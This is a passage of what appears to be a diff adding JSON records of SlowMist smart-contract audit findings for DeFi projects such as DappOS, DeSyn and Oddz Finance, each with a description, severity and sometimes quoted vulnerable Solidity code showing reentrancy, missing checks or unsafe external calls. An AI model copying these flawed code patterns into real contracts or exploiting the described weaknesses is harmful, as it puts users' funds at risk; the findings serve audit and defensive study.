contracts/core/PayLock.sol#L73-L78 function deposit(address token, uint amount, address node) external { uint256 beforeTransfer = IERC20(token).balanceOf(address(this)); TransferHelper.safeTransferFrom(token, msg.sender, address(this), amount); uint256 afterTransfer = IERC20(token).balanceOf(address(this)); _deposit(token, afterTransfer - beforeTransfer, node); }", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Reentrancy Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "Owner accounts can operate the key functions. PayLock punish PayLock configToken PayLock configWithdrawPendingTime VWManager configFee VWManager VWManager requestConfigSrcChain configSrcChain", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Unveried manager and feeReceiver parameter", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "In the verifyProof function of the VWManager contract, only the 8 parameters in vweParam were veried, and the manager and feeReceiver parameters were not veried. contracts/core/vwmanager/VWManager.sol#L113-L145 function verifyProof(uint resCode, address wallet, VWExecuteParam calldata vweParam) internal { address vwOwner = walletOwner[wallet]; result[vwOwner][vweParam.code] = resCode; (uint256 dstChainId, uint256 srcChain, uint256 expTime) = VWCode.chainidsAndExpTime(vweParam.code); require(dstChainId == block.chainid, 'E3'); require(block.timestamp <= expTime, 'E6'); require(domainSeparator[srcChain] != bytes32(0), 'E31'); bytes32 rootHash = keccak256( abi.encode( APPROVE_SERVICE_TX_TYPEHASH, vweParam.code, keccak256(vweParam.data), vweParam.service, vweParam.gasToken, vweParam.gasTokenPrice, vweParam.priorityFee, vweParam.gasLimit, vweParam.isGateway ) ); if (vweParam.proof.length > 0) { rootHash = MerkleProof.processProof(vweParam.proof, rootHash); rootHash = keccak256(abi.encode(APPROVE_SERVICE_PROOF_TX_TYPEHASH, rootHash)); } // srcChain is the chain where user sign the rootHash if (Address.isContract(vwOwner)) { require(IWalletOwner(vwOwner).verifyVWParam(rootHash, domainSeparator[srcChain], vweParam), 'E1'); } else { SignLibrary.verify(vwOwner, domainSeparator[srcChain], rootHash, vweParam.serviceSignature); } emit TxExecuted(wallet, vwOwner, vweParam.code, rootHash, resCode); }", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "The functions implemented in library OrderId are the same as those in library VWCode. contracts/libraries/OrderId.sol#L7-L17 function genCode( uint128 nonce, uint32 time, uint32 srcChainId, uint32 dstChainId, uint16 oType, uint16 flag ) internal pure returns (uint code){ code = (uint(nonce) << 128) + (uint(time) << 96) + (uint(srcChainId) << 64) + (uint(dstChainId) << 32) + (uint(oType) << 16) + uint(flag); } function chainidsAndExpTime(uint code) internal pure returns (uint dstChainId, uint srcChainId, uint time){ dstChainId = (code >> 32) & ((1 << 32) - 1); srcChainId = (code >> 64) & ((1 << 32) - 1); time = (code >> 96) & ((1 << 32) - 1); }", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Reentrancy risks", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "In the PayLock contract punish function, the punishes mapping is not used correctly, resulting in the risk of reentrancy. contracts/governance/PayLock.sol#L131-L159 function punish( uint orderId, address node, address to, address[] calldata tokens, uint[] calldata amounts ) external onlyOwner { require(tokens.length > 0 && tokens.length == amounts.length, \"Invalid length\"); for (uint i = 0; i < tokens.length; i++) { require(validTokens[tokens[i]], \"INVALID_TOKEN\"); TokenBalance storage bal = nodeTokenBalance[node][tokens[i]]; uint256 realAmount = amounts[i]; if (amounts[i] > bal.numOnWithdraw) { if (bal.numTotal <= amounts[i].sub(uint(bal.numOnWithdraw))) { realAmount = uint(bal.numTotal + bal.numOnWithdraw); (bal.numTotal, bal.numOnWithdraw) = (0, 0); } else { bal.numTotal -= (amounts[i] - uint(bal.numOnWithdraw)).toUint128(); bal.numOnWithdraw = 0; } } else { bal.numOnWithdraw = (uint(bal.numOnWithdraw).sub(amounts[i])).toUint128(); } TransferHelper.safeTransfer2(tokens[i], to, realAmount); } punishes[node]++; emit NodePunished(orderId, amounts, tokens, node, to); }", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Reentrancy Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Insucient WithdrawPendingTime error", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "In the PayLock contract congWithdrawPendingTime function, the withdrawPendingTime parameter should be set to greater than or equal to 7 days. Since congWithdrawPendingTime is associated with the order's term, congWithdrawPendingTime should be greater than the order's term. contracts/governance/PayLock.sol#L168-L172 function configWithdrawPendingTime(uint period) external onlyOwner { require(period <= 7 days, \"E27\"); withdrawPendingTime = period; emit WithdrawPendingTime(period); }", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Unveried Node Mortgage Requirement", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "In the PayDB contract, when the user creates an order through the createSrcOrder function or createSrcOrderETH function, it is not veried whether the node's mortgage assets meet the mortgage requirements required for the created order.", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Service nodes are at risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DappOS Contracts Core.pdf", + "body": "In the PayDB contract, when the user creates an order through the createSrcOrder function or createSrcOrderETH function, he transfer assets to the cparams[i].node , and these nodes are at risk of rug-pull ,or private key leak.", + "labels": [ + "SlowMist", + "DappOS Contracts Core", + "Type: Authority Control Vulnerability Audit", + "Severity: Medium" + ] + }, + { + "title": "Redundant collectEndTime check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the CongurableRightsPool contract, users can redeem underlying assets through the exitPool function. When the pool is a closed ETF, it will check isCompletedCollect and collectEndTime to decide whether to perform _claimManagerFee operation. But when isCompletedCollect is true, the collectEndTime check will be performed in snapshotEndAssets, and when isCompletedCollect is false, the collectEndTime check will be performed in exitPoolHandleB. Hence the collectEndTime check before the _claimManagerFee operation is redundant. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant closureEndTime check on exitPool", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the CongurableRightsPool contract, users can redeem underlying assets through the exitPool function. When the pool is a closed ETF and isCloseEtfCollectEndWithFailure is false, it will check that the current time must be greater than closureEndTime + 5 minutes before allowing the user to exit. However, it should be noted that the snapshotEndAssets operation will be performed before this. The snapshotEndAssets function will also check whether the current time is greater than closureEndTime + 5 minutes . Only the admin and owner can execute snapshotEndAssets within 5 minutes after the closure period ends. Otherwise, the transaction will be reverted. Therefore, the closureEndTime check in the exitPool function is redundant. When snapshotEndAssets cannot be performed, the entire transaction will be reverted, and subsequent closureEndTime checks will not be performed. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant performance fee calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the exitPool function of the CongurableRightsPool contract, redeemAndPerformanceFeeReceived, nalAmountOut and redeemFeeReceived are calculated through exitPoolHandleA. However, since the performance fee will be calculated uniformly in the snapshotEndAssets operation, there is no need to process the performance fee in the exitPool function. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The time allowed for snapshots is too short", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the CongurableRightsPool contract when the closed ETF completes collect and the collection period has ended, the current total value of the ETF can be recorded through the snapshotBeginAssets function. However, users can only call the snapshotBeginAssets function within 15 minutes after the end of the collection period. If there is congestion on the chain, it may not be possible to call the snapshot in time within 15 minutes. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Duplicate decimal processing issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the DesynChainlinkOracle contract, the getPrice function is used to obtain the corresponding token price from prices, getChainlinkPrice, and getUniswapPrice, and perform decimal processing. However, decimal has been processed in getChainlinkPrice and getUniswapPrice, and theoretically, the returned decimal will be 1e18. Therefore, processing decimals through decimalDelta will cause decimals to be enlarged. Note that the amountIn passed in for the consult in the getUniswapPrice function is 1e18, which needs to be ensured that the token decimal in twapOracle matches it in practice ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Decimal processing issue in AllPrice calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the DesynChainlinkOracle contract, the getAllPrice function is used to calculate the total value of the specied amount of tokens. It is calculated by badd(fundAll, bmul(getPrice(t), tokenAmountOut)) , theoretically the decimal returned by getPrice is 1e18, and the decimal of tokenAmountOut is consistent with the decimal of the token itself. Therefore, multiplying these two values will result in a very large decimal in the nal result. The getNormalizedWeight function is also aected by this, but this is not harmful to normal business. Note: ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Redundant code issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the SmartPoolManager library, the exitPoolHandle function has been deprecated since closed ETF prots are calculated in snapshotEndAssets. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Token list conict in recordTokenInfo", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "When the user performs createPool and joinPool, if the Pool is a closed ETF and the current time is within the collection period, the KOL invitation amount will be recorded through UserVault's recordTokenInfo interface. But unfortunately, the tokens in the Pool can be Bind/unBind at any time, which will cause the list of tokens supported by the Pool to change. If the recordTokenInfo operation is performed when the Pool token list changes, the amount recorded by variables such as poolInviteTotal, kolTotalAmountList, and kolUserInfo may be disturbed. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "couldManagerClaim not checked when managerClaim", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the UserVault contract, the Manager role can claim management fees through the managerClaim function, but it does not check whether the couldManagerClaim parameter is true. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Some redundant invoke functions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the Invoke library, the strictInvokeTransfer, invokeUnwrapWETH, invokeWrapWETH, and invokeMint functions are not used. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of ETF falsication", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the pool through the rebalance function. But the address of the ETF is obtained from the rebalanceInfo passed in by the user. If a malicious user passes in a fake ETF, the check in the onlyManager decorator will be bypassed, and the _verifyWhiteToken check of token1 and the isCompletedCollect and collectEndTime checks will be useless. Malicious users can steal bPool funds through _makeSwap and bind malicious tokens. The approve function also has this risk, but it doesn't break the protocol too much ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Risk of the Manager role potentially disrupting the protocol", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. It will use the _makeSwap function to call Uniswap, 1inch and other DEXs for token swaps to adjust token positions. But unfortunately, the swap path of the token is not checked during the token swap process, which will cause the Manager role to pass in a carefully constructed malicious swap path to steal the middle token0 of the ETF. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Double slippage check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. It will use the _makeSwap function to call Uniswap, 1inch and other DEXs for token swaps to adjust token positions. During the swap process, the slippage will be checked by passing minReturn to the external DEXs, but the implementation of the slippage check of the external DEXs is uncontrollable. If the slippage protection of the external DEXs fails, it will aect the funds of users in the protocol. (1inch users encountered invalid slippage check before) ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Does not follow the Checks-Eects-Interactions specication", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the RebalanceAdapter contract, the _makeSwap function is used for token swap. When the swap type is not UNISWAPV3 and UNISWAPV2, the parameters passed in by the user will be checked through _validateData . However, the execute operation is performed rst, and the _validateData operation is performed after the token exchange is completed. This is not in line with the follow the Checks-Effects-Interactions principle. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Perform strict parameter checking", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the RebalanceAdapter contract, the _validateData function is used to check the exchange parameters, but it only parses the recipient and amountIn for checking, but does not check whether other key parameters such as srcToken, dstToken, clipperExchange, makerAsset, takerAsset are in line with expectations. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant aggregator parameter", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the RebalanceAdapter contract, the _validateData function is used to check the conversion parameters, but the aggregator parameter it receives is not used. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect approval operation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. If token1 has not been bound in bPool, it will be approved rst. However, the subsidy of this contract was wrongly approved to bPool, which will cause bPool to be unable to transfer tokens from CRP in the future. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "There is an execute function in the CRP and bPool contracts so that the Manager can manage the ETF. In bFactory, the Blabs role can arbitrarily register modules to gain control over CRP. The registered modules can use the execute function in CRP to call the execute function in bPool to perform any operations. This would pose a huge risk to users' funds. And the Manager can approve the tokens in the bPool through the approve function of the RebalanceAdapter contract, which will also bring huge risks to the user's funds. The above problems lead to the risk of excessive permissions of the Blabs role and the Manager role. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Authority Control Vulnerability Audit", + "Severity: High" + ] + }, + { + "title": "Enforce strict permission controls", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - DeSyn Phase3_en-us.pdf", + "body": "In the LiquidityPool contract, any user can call the joinPool, exitPool, and gulp functions to add/remove liquidity/record token balances, which will make it impossible to charge various fees to users in CRP. ", + "labels": [ + "SlowMist", + "DeSyn Phase3", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Function visibility issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Alpaca Finance Oracle_en-us.pdf", + "body": "In the OracleMedianizer contract, the user can get the price of the pair token through the getPrice function. The getPrice function will call the _getPrice function to get the price, but the visibility of the _getPrice function is public. ", + "labels": [ + "SlowMist", + "Alpaca Finance Oracle", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The Token Pair Check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Alpaca Finance Oracle_en-us.pdf", + "body": "There is a _setPriceFeed function in the ChainLinkPriceOracle contract, which is used to set the source of the token pair. In the function, check whether priceFeeds[token1][token0] already exists, but then set the source for priceFeeds[token0][token1] . ", + "labels": [ + "SlowMist", + "Alpaca Finance Oracle", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Redundant parameter issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_WBTC_Borrow_ETH_en-us.pdf", + "body": "In the PriceOracle contract, the getAssetPrice function is used to obtain the relative price of WBTC and ETH. But the _asset parameter it receives is not used. ", + "labels": [ + "SlowMist", + "ENF_WBTC_Borrow_ETH", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Token swap defect when withdrawing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_WBTC_Borrow_ETH_en-us.pdf", + "body": "In the WBTCBorrowETH contract, the withdraw function is used to withdraw WBTC tokens. When the repayable amount of the contract is less than the required loan amount (ethWithdrawn < ethDebt), the contract will withdraw wbtcToSwap amount of WBTC from AAVE to swap it into WETH, and use the wbtcAmt value as the amountInMaximum in the Swap exchange. However, since the wbtcAmt value is indirectly calculated through the ChainLink price, there may be a deviation from the price in Uniswap v3, so using the wbtcAmt value as the amountInMaximum parameter may not be successfully swapped due to the price deviation. ", + "labels": [ + "SlowMist", + "ENF_WBTC_Borrow_ETH", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Swap balance has not been processed", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_WBTC_Borrow_ETH_en-us.pdf", + "body": "In the _withdraw function of the WBTCBorrowETH contract, when ethWithdrawn < ethDebt , the contract will withdraw WBTC tokens from AAVE and swap them into ETH to repay the loan. If the amount of ETH is greater than the amount of debt required to be repaid (ethBal > ethDebt), the contract will swap the excess part into WBTC, but these excess WBTC tokens have not been sent to the user, nor have they been re-staked into AAVE. It was left in the SS contract. When the next user deposit, it will be billed as part of the user's deposit. And when ethWithdrawn >= ethDebt , the contract will convert the excess ETH to WBTC, but the contract has not yet processed these WBTC. ", + "labels": [ + "SlowMist", + "ENF_WBTC_Borrow_ETH", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Defects in LTV operation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_WBTC_Borrow_ETH_en-us.pdf", + "body": "In the reduceLTV operation, the contract will rst extract x amount of WBTC from AAVE and exchange it into WETH 12 for repayment. In this operation, although the liabilities of the contract are reduced, the amount of collateral of the contract is also reduced. At the same time, due to the impact of the slippage of the swap operation, the reduceLTV operation may not be able to eectively control the risk as expected. ", + "labels": [ + "SlowMist", + "ENF_WBTC_Borrow_ETH", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Reduced availability for LTV operations 13", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_WBTC_Borrow_ETH_en-us.pdf", + "body": "In the protocol, the raiseLTV and reduceLTV functions are important means to improve capital utilization and prevent bad debts, but in these two functions, the token exchange is performed through the _swapExactInput function. The _swapExactInput function does not check for slippage, which will reduce the availability of raiseLTV and reduceLTV for the protocol. ", + "labels": [ + "SlowMist", + "ENF_WBTC_Borrow_ETH", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "The withdraw function will not work when the market is extreme", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_WBTC_Borrow_ETH_en-us.pdf", + "body": "In the protocol, when extreme market conditions occur (such as a sharp unilateral drop of BTC) and the owner has no time to adjust the protocol LTV through the reduceLTV function, the protocols WBTC position will be liquidated. If 14 the protocol's liabilities are fully liquidated (getDebt will become 0), ethDebt will be 0. This will cause the _withdraw function to fail to perform the repay operation, and the emergencyWithdraw operation will also not work. Users' funds will be locked in the protocol. In the repay operation of AAVE, if the repayment amount is 0, it will fail the validateRepay check.", + "labels": [ + "SlowMist", + "ENF_WBTC_Borrow_ETH", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of multiple leverages in unilateral market conditions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_WBTC_Borrow_ETH_en-us.pdf", + "body": "The protocol deposits WBTC tokens deposited by users into AAVE and lends ETH, and then deposits the loaned ETH into the ENF_ETH_Leverage protocol. The ENF_ETH_Leverage protocol also creates positions in AAVE via ETH/stETH. This makes the ENF_WBTC_Borrow_ETH protocol have multiple leverages, which means it is extremely sensitive to market stability. Once the agreement does not manage LTV properly, it will lead to risks such as bad debts of the agreement. ", + "labels": [ + "SlowMist", + "ENF_WBTC_Borrow_ETH", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of excessive authority 16", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ENF_WBTC_Borrow_ETH_en-us.pdf", + "body": "In the protocol, the owner role has many permissions, such as the owner can set sensitive parameters, can suspend the contract, can make emergency withdrawals, etc. It is obviously inappropriate to give all the permissions of the protocol to the owner, which will greatly increase the single point of risk.", + "labels": [ + "SlowMist", + "ENF_WBTC_Borrow_ETH", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Swap Path Issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Oddz Finance_en-us.pdf", + "body": "In the PancakeSwapForUnderlyingAsset contract, the owner can swap fromToken to toToken through the 11 swapTokensForUA function. The path set is [fromToken, toToken] . If fromToken and toToken in PancakeSwap do not have a directly related token pair, then using this path will not be able to successfully swap. contracts/Integrations/Dex/PancakeSwap/PancakeSwapForUnderlyingAsset.sol#L29-L44 function swapTokensForUA( address _fromToken, address _toToken, address _account, uint256 _amountIn, uint256 _amountOutMin, uint256 _deadline ) public override onlyOwner returns (uint256[] memory result) { address[] memory path = new address[](2); path[0] = _fromToken; path[1] = _toToken; ERC20(_fromToken).safeApprove(address(pancakeSwap), _amountIn); result = pancakeSwap.swapExactTokensForTokens(_amountIn, _amountOutMin, path, address(this), _deadline); // converting address to address payable ERC20(address(uint160(_toToken))).safeTransfer(_account, result[1]); }", + "labels": [ + "SlowMist", + "Oddz Finance", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Oddz Finance_en-us.pdf", + "body": "12 In the ChainlinkIVOracle contract, the owner can set allowedPeriods, minVolatilityBound, maxVolatilityBound and other parameters at will, but no event recording is performed. contracts/Integrations/VolatilityOracle/Chainlink/ChainlinkIVOracle.sol function addAllowedPeriods(uint8 _ivAgg) public onlyOwner(msg.sender) { allowedPeriods[_ivAgg] = true; } function setMinVolatilityBound(uint256 _minVolatility) public onlyOwner(msg.sender) { minVolatilityBound = _minVolatility; } function setMaxVolatilityBound(uint256 _maxVolatility) public onlyOwner(msg.sender) { maxVolatilityBound = _maxVolatility; } function setDelay(uint256 _delay) public onlyOwner(msg.sender) { delayInSeconds = _delay; } function setVolatilityPrecision(uint8 _precision) public onlyOwner(msg.sender) { volatilityPrecision = _precision; }", + "labels": [ + "SlowMist", + "Oddz Finance", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The deationary token docking issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Oddz Finance_en-us.pdf", + "body": "13 Users can transfer the staking token into the staking contract through the deposit function. Under normal circumstances, the number of staking tokens transferred by the user is the same as the _amount parameter passed in. But if the staking token is a deationary token, the number of tokens transferred by the user may be dierent from the number of tokens actually received in the contract. contracts/Staking/OddzStakingManager.sol, OddzTokenStaking.sol, OUsdTokenStaking function stake(IERC20 _token, uint256 _amount) external override validToken(_token) { require(_amount > 0, \"Staking: invalid amount\"); tokens[_token]._stakingContract.stake(msg.sender, _amount); emit Stake(msg.sender, address(_token), _amount); } function stake(address _staker, uint256 _amount) external override onlyOwner { _stake(_staker, _amount); _mint(_staker, _amount); IERC20(token).safeTransferFrom(_staker, address(this), _amount); }", + "labels": [ + "SlowMist", + "Oddz Finance", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Token active status change issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Oddz Finance_en-us.pdf", + "body": "In the OddzStakingManager contract, the owner can set the active state of the token to true through the activateToken function, and the timelock contract can set the active state to false through the deactivateToken 14 function. But after the state change, the txnFeeReward, settlementFeeReward, and allotedReward parameters of each valid token did not change accordingly, so the totalTxnFee, totalSettlementFee, and totalAllotedFee parameters are not equal to 100. contracts/Staking/OddzStakingManager.sol function deactivateToken(IERC20 _token) external onlyTimeLocker(msg.sender) validToken(_token) { tokens[_token]._active = false; emit TokenDeactivate(address(_token)); } function activateToken(IERC20 _token) external onlyOwner(msg.sender) inactiveToken(_token) { tokens[_token]._active = true; emit TokenActivate(address(_token)); }", + "labels": [ + "SlowMist", + "Oddz Finance", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Oddz Finance_en-us.pdf", + "body": "There is _transferRewards function in the OddzStakingManager contract, which checks whether the staker's collateral time is greater than rewardsLockupDuration, while the actual _transferRewards function is only called by the withdraw function and the claimRewards function. But in both withdraw and claimRewards functions, there is a check to see if the staker's collateral time is greater than 15 rewardsLockupDuration. So the _transferRewards function does not need to check again if the staker's collateral time is greater than the rewardsLockupDuration. contracts/Staking/OddzStakingManager.sol function _transferRewards( address _staker, IERC20 _token, uint256 _date ) private returns (uint256 reward) { if (_date - tokens[_token]._stakingContract.getLastStakedAt(_staker) >= tokens[_token]._rewardsLockupDuration) { reward = tokens[_token]._stakingContract.withdrawRewards(_staker); oddzToken.safeTransfer(_staker, reward); emit TransferReward(_staker, address(_token), reward); } }", + "labels": [ + "SlowMist", + "Oddz Finance", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Unsafe External Call", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Oddz Finance_en-us.pdf", + "body": "_pool is entered by the user. When the user enters a malicious contract address and returns the malicious premium through the malicious contract, the tokens in the OddzLiquidityPoolManager contract can be transferred to a malicious address. 16 contracts/Pool/OddzLiquidityPoolManager.sol#L300 function withdrawProfits(IOddzLiquidityPool _pool) external { uint256 premium = _pool.collectPremium(msg.sender, premiumLockupDuration); require(premium > 0, \"LP Error: No premium allocated\"); token.safeTransfer(msg.sender, premium); } The getSortedEligiblePools function does not check the input _liquidityParams and does not ensure that allPools is in the whitelist. When other functions depend on the data of getSortedEligiblePools, the same issues may occur. contracts/Pool/OddzLiquidityPoolManager.sol#L341 function getSortedEligiblePools(LiquidityParams memory _liquidityParams) public view returns (address[] memory pools, uint256[] memory poolBalance) { // if _expiration is 86401 i.e. 1 day 1 second, then max 1 day expiration pool will not be eligible IOddzLiquidityPool[] memory allPools = poolMapper[ keccak256( abi.encode( _liquidityParams._pair, _liquidityParams._type, _liquidityParams._model, periodMapper[getActiveDayTimestamp(_liquidityParams._expiration) / 1 days] ) ) 